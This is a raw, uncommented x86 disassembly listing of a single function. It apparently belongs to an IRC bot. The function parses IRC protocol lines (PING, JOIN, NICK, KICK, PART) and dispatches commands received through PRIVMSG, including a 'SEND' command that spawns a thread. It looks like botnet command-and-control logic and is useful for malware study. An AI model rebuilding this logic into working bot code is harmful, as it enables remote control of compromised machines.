var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDD4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDD0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDCC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD60
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CD0C
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCD0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC90
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
